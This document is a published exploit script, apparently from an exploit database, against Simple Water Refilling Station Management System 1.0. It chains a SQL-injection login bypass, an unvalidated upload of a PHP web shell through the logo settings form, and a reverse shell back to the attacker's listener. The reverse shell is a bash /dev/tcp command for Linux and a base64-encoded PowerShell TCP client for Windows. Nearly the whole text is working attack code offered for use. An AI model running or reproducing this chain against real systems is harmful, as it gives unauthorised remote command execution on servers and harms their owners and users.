Simple Water Refilling Station Management System 1.0 Shell Upload

`# Exploit Title: Simple Water Refilling Station Management System 1.0 - Remote Code Execution (RCE) through File Upload  
# Exploit Author: Matt Sorrell  
# Date: 2021-08-14  
# Vendor Homepage: https://www.sourcecodester.com  
# Software Link: https://www.sourcecodester.com/php/14906/simple-water-refilling-station-management-system-php-free-source-code.html  
# Version: 1.0  
# Tested On: Windows Server 2019 and XAMPP 7.4.22  
  
# The Simple Water Refilling Station Management System   
# contains a file upload vulnerability that allows for remote   
# code execution against the target. This exploit requires   
# the user to be authenticated, but a SQL injection in the login form   
# allows the authentication controls to be bypassed. The application does not perform  
# any validation checks against the uploaded file at "/classes/SystemSettings.php"  
# and the directory it is placed in allows for execution of PHP code.  
  
  
#!/usr/bin/env python3  
  
import requests  
from bs4 import BeautifulSoup as bs  
import time  
import subprocess  
import base64  
import sys  
  
  
def login_with_injection(url, session):  
target = url + "/classes/Login.php?f=login"  
  
data = {  
"username": "test' OR 1=1-- -",  
"password": "test"  
}  
  
r = session.post(target, data=data)  
if '"status":"success"' in r.text:  
return True  
else:  
return False  
  
def upload_shell(url, session):  
target = url + "/classes/SystemSettings.php?f=update_settings"  
  
files = {'img': ('shell.php', "<?php system($_REQUEST['cmd']); ?>", 'application/x-php')}  
  
r = session.post(target, files=files)  
  
if r.headers['Content-Length'] != 1:  
print("[+] Shell uploaded.\n")  
return r.links  
else:  
print("Error uploading file. Exiting.")  
exit(-1)  
  
def activate_shell(url, session, OS, rev_ip, rev_port):  
target = url + "/admin/?page=system_info"  
  
r = session.get(target)  
page_data = r.text  
soup = bs(page_data, features='lxml')  
  
for link in soup.find_all('link'):  
if "shell" in link.get('href'):  
shell_url = link.get('href')  
break  
  
  
print(f"[+] Found URL for shell: {shell_url}\n")  
  
print("[*] Attempting to start reverse shell...")  
  
subprocess.Popen(["nc","-nvlp",f"{rev_port}"])  
time.sleep(1)  
  
if OS.lower() == "linux":  
cmd = f"bash -c 'bash -i >& /dev/tcp/{rev_ip}/{rev_port}'"  
else:  
cmd = f"$TCPClient = New-Object Net.Sockets.TCPClient('{rev_ip}', {rev_port});$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {{[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {{0}};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {{$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {{Invoke-Expression $Command 2>&1 | Out-String}} catch {{$_ | Out-String}}WriteToStream ($Output)}}$StreamWriter.Close()".strip()  
  
cmd = "C:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe -enc " + base64.b64encode(cmd.encode('UTF-16LE')).decode()  
  
r = session.get(shell_url+"?cmd="+cmd)  
  
def main():  
  
if len(sys.argv) != 5:  
print(f"(+) Usage:\t python3 {sys.argv[0]} <TARGET IP> <LISTENING IP> <LISTENING PORT> <WINDOWS/LINUX Target>")  
print(f"(+) Usage:\t python3 {sys.argv[0]} 10.1.1.1 10.1.1.20 443 windows")  
exit(-1)  
else:  
ip = sys.argv[1]  
rev_ip = sys.argv[2]  
rev_port = sys.argv[3]  
OS = sys.argv[4]  
  
URL = f"http://{ip}/water_refilling"  
  
  
s = requests.Session()  
  
print("[*] Trying to bypass authentication through SQL injection...\n")  
  
if not login_with_injection(URL, s):  
print("[-] Failed to login. Exiting.")  
exit(-1)  
else:  
print("[+] Successfully logged in.\n")  
  
time.sleep(2)  
print("[*] Trying to upload shell through system logo functionality...\n")  
  
links = upload_shell(URL, s)  
  
# Sleeping for 2 seconds to avoid problems finding the file uploaded  
time.sleep(2)  
  
print("[*] Getting shell URL and sending reverse shell command...\n")  
activate_shell(URL, s, OS, rev_ip, rev_port)  
  
while True:  
pass  
  
  
if __name__ == "__main__":  
main()  
  
`